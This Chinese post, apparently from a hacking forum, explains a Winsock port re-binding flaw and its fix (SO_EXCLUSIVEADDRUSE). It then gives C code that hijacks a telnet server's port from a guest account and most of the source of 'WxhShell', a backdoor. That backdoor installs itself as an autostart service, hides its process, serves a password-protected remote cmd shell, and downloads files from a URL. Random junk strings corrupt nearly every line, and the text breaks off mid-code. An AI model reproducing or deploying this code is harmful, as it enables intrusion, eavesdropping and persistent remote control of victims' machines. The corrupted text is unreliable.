在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
{cKKTDN s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
.QzHHW4&0 9#.nNv*z3 saddr.sin_family = AF_INET;
]7-*1kL8=~ =x9zy] saddr.sin_addr.s_addr = htonl(INADDR_ANY);
{(AYs*5 zN {'@B bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
< ppg$; +EJIYvkFm 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
vWcU+GBZI sV'(y>PP% 这意味着什么?意味着可以进行如下的攻击:
}i./,
=h\,-8 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
\;}F6g u)MdFz 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
m49GCo k+ uMtq4. 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
CYmwT>P+*4 M;,Q8z% 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
S.aSNH< Oj6 - 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
pM=@ DZ
|0CB~ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
7/w)^&8 Jc"xH~, 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
<T+)~&g$ %Iw6oG #include
/\V-1 7- #include
F$7>q'# #include
d:.S]OI0 #include
U6e 0{n DWORD WINAPI ClientThread(LPVOID lpParam);
R$IxR=hMx int main()
o<`Mvw@Z {
~oy=2Q<Z WORD wVersionRequested;
OZ3iH% DWORD ret;
(B{`In8G>y WSADATA wsaData;
OOn{Wp BOOL val;
sa$CCQ SOCKADDR_IN saddr;
9AO`Zk{/Ez SOCKADDR_IN scaddr;
d
_)5Ks} int err;
VAX@'iZr SOCKET s;
,c<&)6FU] SOCKET sc;
^<49NUB> int caddsize;
3DRJl,v HANDLE mt;
L&ucTc= DWORD tid;
jR[VPm= wVersionRequested = MAKEWORD( 2, 2 );
n@xC?D:t* err = WSAStartup( wVersionRequested, &wsaData );
t%Sgw%f if ( err != 0 ) {
2CcUClP$ printf("error!WSAStartup failed!\n");
/k8Lu+OJ return -1;
:}'5'oVG }
h|qTMwPr saddr.sin_family = AF_INET;
X5@+M!` #t
N9#w[K{ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
ybNo`:8A; T% 74JRQ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
nSY3=Edx= saddr.sin_port = htons(23);
LtIp,2GP&_ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
'D_a2xo0 {
:%G_<VAo! printf("error!socket failed!\n");
4Z8FLA+T, return -1;
Qw>~]d,Z }
<@:RS$"i val = TRUE;
by07l5 //SO_REUSEADDR选项就是可以实现端口重绑定的
(;\"
K? if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
c8z6-6`i0 {
^m0nInH printf("error!setsockopt failed!\n");
R!&9RvNw return -1;
Sc b' }
6g*?(Y][ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
U]/iPG&_ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
X1 DE //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
^IQtXae6M (KG2X if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
L%S(z)xX3 {
>EE}P|=- ret=GetLastError();
2i9FzpC3 printf("error!bind failed!\n");
y{>T['"@ return -1;
,GeW_!Q[ }
8'WoG]E_ listen(s,2);
oYx4+xH/ while(1)
/
R-1s {
z}BuR*WSY{ caddsize = sizeof(scaddr);
*.us IH2 //接受连接请求
af@R\"N9c sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
#,[z}fq if(sc!=INVALID_SOCKET)
rX(Ol,&oP {
cT21 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
N)X3pWC8 if(mt==NULL)
HIGTo\]Z {
8Y"R@'~ printf("Thread Creat Failed!\n");
hKVb#|$ break;
Vp$<@Y }
cqYMzS
t }
*epK17i= CloseHandle(mt);
\h>6k }
Y sDai< closesocket(s);
%OJ"@6A WSACleanup();
bblEZ% return 0;
~%eZQgqA* }
&>n:7 DWORD WINAPI ClientThread(LPVOID lpParam)
b{BiC&3 {
\E
{'| SOCKET ss = (SOCKET)lpParam;
:]icW^% SOCKET sc;
L,yq'>*5s unsigned char buf[4096];
QsX`IYk SOCKADDR_IN saddr;
lT?Vt`==~M long num;
wZ5k|5KtW DWORD val;
fBb:J + DWORD ret;
/H?) qk //如果是隐藏端口应用的话,可以在此处加一些判断
nP&6i5s% //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
o)wOXF saddr.sin_family = AF_INET;
ug_c}Nv=Y saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
e/uLBZ saddr.sin_port = htons(23);
?7#{#sj if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
SJ}PV:x {
tUksIUYD\ printf("error!socket failed!\n");
mg< v9# return -1;
},=ORIB B: }
ef@F!s_fI val = 100;
)j QrD` if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4d_Az'7`4 {
ai<K6) ret = GetLastError();
\'r;1W return -1;
} rX)A\ g6 }
e<{waJ1 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
as73/J6 {
:*vSC: q ret = GetLastError();
Mr*CJgy return -1;
cSBS38> }
x6Tpt^N} if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
9e7):ZupO {
B~E>=85z printf("error!socket connect failed!\n");
I* PxQ closesocket(sc);
g W?Hd/ closesocket(ss);
j*FpQiBoT return -1;
.zy2_3: }
T4J
WZ while(1)
cR&d=+R& {
aI;fNy/K //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
)+"(7U< //如果是嗅探内容的话,可以再此处进行内容分析和记录
uG+eF //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
<vzU}JA\ num = recv(ss,buf,4096,0);
Bw<$fT` if(num>0)
/VFQbJ+` send(sc,buf,num,0);
K#N5S]2yb else if(num==0)
W6)XMl}n break;
#4AqWyp#f num = recv(sc,buf,4096,0);
x}f)P if(num>0)
MM~4D send(ss,buf,num,0);
fc<,kRp else if(num==0)
+3pfBE| break;
X;{U? `b- }
?i\$U'2*z3 closesocket(ss);
5r0Sl89J closesocket(sc);
M2A3]wd2a return 0 ;
IFXn GDG$ }
>?{>
!#1 }]pO R&o ^J@
Xsl ==========================================================
r2&/Ii+ 0
d2to5 ( 下边附上一个代码,,WXhSHELL
i;J*9B_U |vj!,b88n# ==========================================================
[5]*
Be o6X<FE#8 #include "stdafx.h"
Iy2AJ|d. xQ=L2pX #include <stdio.h>
3H5<w4yk #include <string.h>
I -XkxDw #include <windows.h>
7D4I>N'T #include <winsock2.h>
VjSA&R #include <winsvc.h>
af/;D r@ #include <urlmon.h>
D|8h^*Ya w'Jo).OW~ #pragma comment (lib, "Ws2_32.lib")
zQtx!k= #pragma comment (lib, "urlmon.lib")
z"!=A}i (XQl2C #define MAX_USER 100 // 最大客户端连接数
+B
OuU# #define BUF_SOCK 200 // sock buffer
&wB?ks #define KEY_BUFF 255 // 输入 buffer
o&HFlDZ5jO \fC}l
Ll #define REBOOT 0 // 重启
}}v28"\TA #define SHUTDOWN 1 // 关机
SA6.g2pFz ;7yt,b5&C #define DEF_PORT 5000 // 监听端口
/7b$C]@k _MGhG{p7t #define REG_LEN 16 // 注册表键长度
<V*M%YWs #define SVC_LEN 80 // NT服务名长度
M+\LH N Z~"2~Hh // 从dll定义API
+|Qe/8Q typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
>c@1UEwkm typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
JZ0u/x5 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
qo0]7m7| typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
iLkP@OYgQ +tFl // wxhshell配置信息
O0>^?dsL struct WSCFG {
-\fn \n
int ws_port; // 监听端口
Z+x`q#ZQr char ws_passstr[REG_LEN]; // 口令
Og<UW^VR int ws_autoins; // 安装标记, 1=yes 0=no
sm @Ot~; char ws_regname[REG_LEN]; // 注册表键名
zI3Bb?4. char ws_svcname[REG_LEN]; // 服务名
KfLp cV char ws_svcdisp[SVC_LEN]; // 服务显示名
Hh.l,Z7i7D char ws_svcdesc[SVC_LEN]; // 服务描述信息
sMAu* char ws_passmsg[SVC_LEN]; // 密码输入提示信息
,(CIcDJ2U_ int ws_downexe; // 下载执行标记, 1=yes 0=no
T>s3s5Y char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Tg.}rNA4 char ws_filenam[SVC_LEN]; // 下载后保存的文件名
i9k/X&V s:#\U!>0` };
[0mg\n? E14Dq#L // default Wxhshell configuration
/
L/hR4 struct WSCFG wscfg={DEF_PORT,
?)B\0` %*' "xuhuanlingzhe",
>~k"C,6 1,
Ta3qEV s "Wxhshell",
Q{+&3KXH "Wxhshell",
Q'S"$^~{ "WxhShell Service",
<;Bv6.Z "Wrsky Windows CmdShell Service",
Qtpw0t" "Please Input Your Password: ",
8z
h{?0 1,
$,~D-~- "
http://www.wrsky.com/wxhshell.exe",
0?
QTi( "Wxhshell.exe"
ix]t>2r };
s!j[Ovtx rt[w
yz8 // 消息定义模块
3ud_d> char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
yk|<P\ char *msg_ws_prompt="\n\r? for help\n\r#>";
jRP9e char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
F"<TV&xf char *msg_ws_ext="\n\rExit.";
:v!e8kM\x char *msg_ws_end="\n\rQuit.";
.`3O4]N[ char *msg_ws_boot="\n\rReboot...";
'-7rHx char *msg_ws_poff="\n\rShutdown...";
6RLYpQ$+ char *msg_ws_down="\n\rSave to ";
zFqlTUD`t :"9P {xe^ char *msg_ws_err="\n\rErr!";
x$;I E char *msg_ws_ok="\n\rOK!";
<!s+X_^ m["`Op4 char ExeFile[MAX_PATH];
nM1F4G int nUser = 0;
U2u\Q1 HANDLE handles[MAX_USER];
{m)$ b int OsIsNt;
0Y81B;/F ju-tx
: SERVICE_STATUS serviceStatus;
Oist>A$Z SERVICE_STATUS_HANDLE hServiceStatusHandle;
S}Q/CT?au VM1`:1Z:$ // 函数声明
ebSG|F int Install(void);
TM1isZ int Uninstall(void);
M6 W{mek int DownloadFile(char *sURL, SOCKET wsh);
\L"Vx9xT int Boot(int flag);
1'[RrJ$Q void HideProc(void);
0#AS>K5 int GetOsVer(void);
F?wfh7q int Wxhshell(SOCKET wsl);
/7
CF f&4 void TalkWithClient(void *cs);
d@a FW int CmdShell(SOCKET sock);
<GbF4\ue int StartFromService(void);
GxL;@%B int StartWxhshell(LPSTR lpCmdLine);
E*! [<+A?M= VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
5v f?E"\r VOID WINAPI NTServiceHandler( DWORD fdwControl );
L"|~,SVF jIMT&5k // 数据结构和表定义
K/,y"DUN& SERVICE_TABLE_ENTRY DispatchTable[] =
s\k4<d5 {
H6Mqy}4W {wscfg.ws_svcname, NTServiceMain},
E,S[3 + {NULL, NULL}
6V"| };
3++}4%w R aVOZ=^- // 自我安装
hmRnr=2N int Install(void)
Df\~ ZWs! {
lTe7n'y^^ char svExeFile[MAX_PATH];
-K 7jigac HKEY key;
llCBqWn strcpy(svExeFile,ExeFile);
H]6i1j Rr'#OxF // 如果是win9x系统,修改注册表设为自启动
vr,8i7*0 if(!OsIsNt) {
tai=2,' if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
u?(@hUV. RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
>tUi ;!cQ RegCloseKey(key);
%V,2,NCd
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|Va*=@&6J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
U7)#9qS4 RegCloseKey(key);
gn2*'_V~3 return 0;
,N[N;Uoj }
qqL :#]lV5 }
F;4*,Ap }
c>_tV3TDA else {
LW={| 3} 8T7ex(w // 如果是NT以上系统,安装为系统服务
a'T8U1 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
:bh#,]' if (schSCManager!=0)
4pvT?s>68 {
uwQ~4 SC_HANDLE schService = CreateService
aC\O'KcH (
$pKlF0 . schSCManager,
uPVM>xf>w wscfg.ws_svcname,
(=2-*((&(A wscfg.ws_svcdisp,
aG"j9A~ & SERVICE_ALL_ACCESS,
(E{>L).~ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
n[vwwY SERVICE_AUTO_START,
TY."?` [FK SERVICE_ERROR_NORMAL,
\kDQ[4mGq svExeFile,
HE;}B!> NULL,
0}'xoYv
f NULL,
{8TLL@T4 NULL,
IhIz 7.| NULL,
I7@|{L1|FB NULL
_Sq*m= );
&d%\&fCm( if (schService!=0)
~.Wlv; {
Su]@~^w CloseServiceHandle(schService);
og`rsl CloseServiceHandle(schSCManager);
h23"< strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
_#UiY
ffa* strcat(svExeFile,wscfg.ws_svcname);
`D%U5Jb if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
W)_|jpd[ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
^n?`l ^9c$ RegCloseKey(key);
%O69A$Q[m return 0;
l&/V4V- }
_Gu;= H,~& }
_%@dlT? CloseServiceHandle(schSCManager);
D-/q-=zd }
HzMr }
]c9\[Kdq}H F@tfbDO? return 1;
)+ V)]dS@% }
d-sT+4o} S-f
.NC}:i // 自我卸载
Y&XO:jB int Uninstall(void)
`f[ {
[.(,vn?6 HKEY key;
kl~)<,/@ ? K ,d if(!OsIsNt) {
4St-Q]Y _ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
8nu@6 )# RegDeleteValue(key,wscfg.ws_regname);
Ob&m&2s, RegCloseKey(key);
+SB>> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
2Ij,OIcdBE RegDeleteValue(key,wscfg.ws_regname);
xZ]QT3U+ RegCloseKey(key);
9+iz+ return 0;
|iA8aHFU }
:5X^t }
Nz77"
kC }
oj(st{, else {
k\TP3*fD ^OOoo2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
N/!(`Z, if (schSCManager!=0)
3xz|d`A {
:4-,Ru1C" SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
x/CM)!U) if (schService!=0)
NP\mzlI~@ {
X.S<",a{qz if(DeleteService(schService)!=0) {
qjh k#\y CloseServiceHandle(schService);
QuG"]$ CloseServiceHandle(schSCManager);
;/_htdj return 0;
S9r?= K }
I |c!:4 CloseServiceHandle(schService);
)XavhS~Ff }
zCQP9oK! CloseServiceHandle(schSCManager);
Bm,Vu 1]t }
q^<HG] }
:N _]*> Pzq^x] return 1;
MJqWc6{ n }
bEj}J_# PuREqa\_[ // 从指定url下载文件
,b&hLht int DownloadFile(char *sURL, SOCKET wsh)
ZLxa|R7 {
Ky"FL HRESULT hr;
d4BzFGsW char seps[]= "/";
(E)hEQ@8 char *token;
aQ$sn<-l char *file;
&.?E[db"h char myURL[MAX_PATH];
>h\u[I$7 char myFILE[MAX_PATH];
)dX(0E4Td/ /q\e&&e strcpy(myURL,sURL);
a-E}3a token=strtok(myURL,seps);
m{=Q88k!@. while(token!=NULL)
6
h#U,G {
&l7E|.JE file=token;
r9&m^,U token=strtok(NULL,seps);
#f) TAA }
H}5WglV. i(;`x GetCurrentDirectory(MAX_PATH,myFILE);
4>0q0}J=5 strcat(myFILE, "\\");
QHZ",1F strcat(myFILE, file);
"}qs+ send(wsh,myFILE,strlen(myFILE),0);
v.Q#<@B^: send(wsh,"...",3,0);
rX?ZUw?u& hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
N4C7I1ihq if(hr==S_OK)
`8W HVC$ return 0;
)S%t)} else
_C?Wk:Y@ return 1;
H(
i QcQ%A%VIV }
A_oZSUrR &N/t%q // 系统电源模块
N7J?S~x int Boot(int flag)
( ~5M{Xh {
BNNM$.ZIQ HANDLE hToken;
R\3a Sx L TOKEN_PRIVILEGES tkp;
h9ScN(|0y &}k7iaO if(OsIsNt) {
'^_u5Y] OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
h:362&?] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
< v] tkp.PrivilegeCount = 1;
F,p0OL. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
$q@d.Z>; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Y\-xX:n.\ if(flag==REBOOT) {
~< bpdI0 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
TsaQR2J@ return 0;
0Xh_.PF }
~#*C,4m else {
Q p>b if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
E:pk'G0bZ return 0;
Dd5
9xNKm }
%Gh5!e:$SI }
=WY'n
l' else {
LOx+?4|y if(flag==REBOOT) {
;3cbXc@] if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
,D+ydr return 0;
F$?Ab\#B }
.Az36wD else {
}UW7py!TN if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
!RmVb}m return 0;
':wf%_Iw }
J;0;oXwJ< }
.c"nDCFVR /88s~= return 1;
>S +} }
{q0+PzgP JnBUW" // win9x进程隐藏模块
o]e,5] void HideProc(void)
YJ _eE {
6L<:>55 6ZQ |L=Ytp HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
!!1?2ine if ( hKernel != NULL )
EU?qLj': {
)5Khl"6!z pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
5CkG^9 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Yr9'2.%Q FreeLibrary(hKernel);
9jkz83/+< }
cfLLFPhv) )O1]|r7v return;
F(G..XJQ }
Tru{8]uMH !Z!)$3bB // 获取操作系统版本
/s\ mV int GetOsVer(void)
w+br) {
mk>; 3m* OSVERSIONINFO winfo;
d6luksO*9 winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
+Iyyk02V GetVersionEx(&winfo);
zKQ<Zr if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
,-c,3/tyA return 1;
}%< ?] else
BPY7O return 0;
Qa{5]+E }
>ED;_L*_o E'AR.! // 客户端句柄模块
0@ `]m int Wxhshell(SOCKET wsl)
0j$\k|xFXZ {
*[Hp&6f SOCKET wsh;
&tyS 6S+ struct sockaddr_in client;
[?]N
GTr# DWORD myID;
~MG6evm & b;i*}4h! while(nUser<MAX_USER)
BlVHP8/b {
/JD}b[J$ int nSize=sizeof(client);
d<m;Q}/l&h wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Za|7gt];l if(wsh==INVALID_SOCKET) return 1;
eD>b|U=/ `Y&`2WZ ~ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
&[ })FI if(handles[nUser]==0)
GkAd"<B closesocket(wsh);
14,)JZN else
y1V}c, nUser++;
K9<8FSn }
6{2y$'m8 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
}+,Q&]>~ 4 9qa return 0;
&CG94 }
R`j"iC2 ^twyy9VR // 关闭 socket
-laH^<jm5 void CloseIt(SOCKET wsh)
</I%VHP,[f {
']}-;m\ closesocket(wsh);
ZU\$x<, nUser--;
)]>t( ExitThread(0);
}&v}S6T }
[@K'}\U^+ B:zx 9 // 客户端请求句柄
g@H<Q('fJ void TalkWithClient(void *cs)
{z o GwB {
)<x9t@$ uP9b^LEoN SOCKET wsh=(SOCKET)cs;
IOHWb&N6 char pwd[SVC_LEN];
49FP&NgK char cmd[KEY_BUFF];
m[%356u char chr[1];
IADSWzQ@ int i,j;
MTYV~S4/ a^_K@ while (nUser < MAX_USER) {
r\m{;Z#LJm ~}OaX+! if(wscfg.ws_passstr) {
J.iz%8 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
e N`+ r //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
8GkWo8rPk //ZeroMemory(pwd,KEY_BUFF);
Sct i=0;
Uz ;^R@ while(i<SVC_LEN) {
BB}WfA aZf/WiR2 // 设置超时
zlLZ8b+ fd_set FdRead;
+}jzge" struct timeval TimeOut;
jTwSyW FD_ZERO(&FdRead);
|QS|\8g{0V FD_SET(wsh,&FdRead);
V@0T&# TimeOut.tv_sec=8;
^E%R5JN
TimeOut.tv_usec=0;
!>(uhuTBF int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
iv`G}.Bo if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
m03dL^( J_F\cM if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
8 n[(\f: pwd
=chr[0]; 1
F:bExQ
if(chr[0]==0xd || chr[0]==0xa) { @+;.W>^h
pwd=0; ;)ay uS sQ
break; D <~UaHfk
} cRI2$|
i++; d/GSG%zB
} XY)X-K$
Xg.Lo2s
// 如果是非法用户,关闭 socket KyIUz9$
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <=CABWO.
} t7-r YY(
6[t(FcS
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *v#V%_ o
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8XV RRk
<uU<qO;6
while(1) { z81dm
"wH(tk4
ZeroMemory(cmd,KEY_BUFF); S/Ic=
['>ZC3?"h
// 自动支持客户端 telnet标准 62;xK-U
j=0; aF/DFaiYv
while(j<KEY_BUFF) { [1GwcXr
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @|h9jx|
cmd[j]=chr[0]; &qY]W=9uK
if(chr[0]==0xa || chr[0]==0xd) { aid1eF
cmd[j]=0; ZxOo&YR3
break; }72\Aw5
} =LY`K#
j++; 6RIbsy
} ^$dbyj`
1tO96t^d%
// 下载文件 v`L]dY4,
if(strstr(cmd,"http://")) { {nM1$
send(wsh,msg_ws_down,strlen(msg_ws_down),0); >r X$E<B\
if(DownloadFile(cmd,wsh)) YXTV$A+lW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,^n&Q'p3
else ObZhQ.&
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @}PXBU
} ^?]-Q*w3Qs
else { 34CcZEQQ
D
HQxu4
switch(cmd[0]) { -Sh&x
W=g'Xu!|!2
// 帮助 PI$i_3N
case '?': { &2%|?f|
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !\VEUF,K?
break; 5"G-r._
} NKEmY-f;
// 安装 C}uzzG6s
case 'i': { hl0X,G+@
if(Install()) EF$ASNh"
send(wsh,msg_ws_err,strlen(msg_ws_err),0); &=S:I!9;;
else *otgI"y\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Y|wjt\M
break;
PPy~dp
} 5~UW=
// 卸载 z}==6|{
case 'r': { xR$T/] /
if(Uninstall()) o+8H:7,o'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =rZ'!Pa
else u{HO6s\S
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RiAMW|M"C
break; 0=U|7%dOL
} %2b^t*CQ
// 显示 wxhshell 所在路径 Hn(Eut7%
case 'p': { vw:GNpg'R6
char svExeFile[MAX_PATH]; iOZ#}"
strcpy(svExeFile,"\n\r"); iF
+@aA
strcat(svExeFile,ExeFile); $nW9VMa
send(wsh,svExeFile,strlen(svExeFile),0); rZ n@i
break; #^]vhnbN
} j
`!Ge
// 重启 |qj"p
case 'b': { Gt?l 2s
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); smQl^
6a
if(Boot(REBOOT)) $kN=45SR
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <[
2?~s
else { $mAC8a_Zu
closesocket(wsh); .hG*mXw>
ExitThread(0); aaKf4}
} } LC
break; QnP3U
} ?ZGsh7<k
// 关机 :2M&C+f[
case 'd': { +ansN~3
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f@hM ^%
if(Boot(SHUTDOWN)) $+n6V2^K)7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L~;(M6Jp
else { _A!Fp0}`
closesocket(wsh); d8agM/F*/
ExitThread(0); >"=DN5w
,S
} ~ffT}q7^
break; lqMr@
:t
} *-Yw%uR
// 获取shell ToPjBvD
case 's': { |BZrV3;H
CmdShell(wsh); U'9z.2"}9
closesocket(wsh); WG6
0
ExitThread(0); 4c(Em+4
break; N2'aC}
I
} M+VWAh#uD
// 退出 hchG\i
case 'x': { 3BCD0
%8
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]7K2S{/o{
CloseIt(wsh); 8aW El%
break; ~I+MuI[
} 54z.@BJhE
// 离开 `q<W %'Tb$
case 'q': { HBOyiIm Q
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ws`ndR
closesocket(wsh); Rb0I7~Z%'d
WSACleanup(); {LF4_9 =
exit(1); P* `*^r3
break; A|+QUPD
} y{hy7w' d
} NvJ5[W
} @lE'D":?
m!%aB{e
// 提示信息 ]n|Jc_Y
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rniM[7K
} 3)W zX
} @0@ZlHwM
_i+@HXR &
return; l^Rb%?4Z
} XhM!pSl\
8\lh'8
// shell模块句柄 PT6]qS'1
int CmdShell(SOCKET sock) |M?vFF]TN
{ /gZyl|kdy
STARTUPINFO si; m<-ShRr*b
ZeroMemory(&si,sizeof(si)); *$<W"@%^J
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3J+2#ML
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VWE>w|'
PROCESS_INFORMATION ProcessInfo;
L\PmT
char cmdline[]="cmd"; Q-
| Y
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); f
5v&4
return 0; h<LFTYE@
} FzJ7 OE|
!,m
// 自身启动模式 V]p{jLG
int StartFromService(void) q#W|fkfx+
{ w*ans}P7
typedef struct -[=eVS.2%
{ ~gDYb#p
DWORD ExitStatus; W$4$%r8
DWORD PebBaseAddress; Q:-T'xk@
DWORD AffinityMask; u{sHuVl
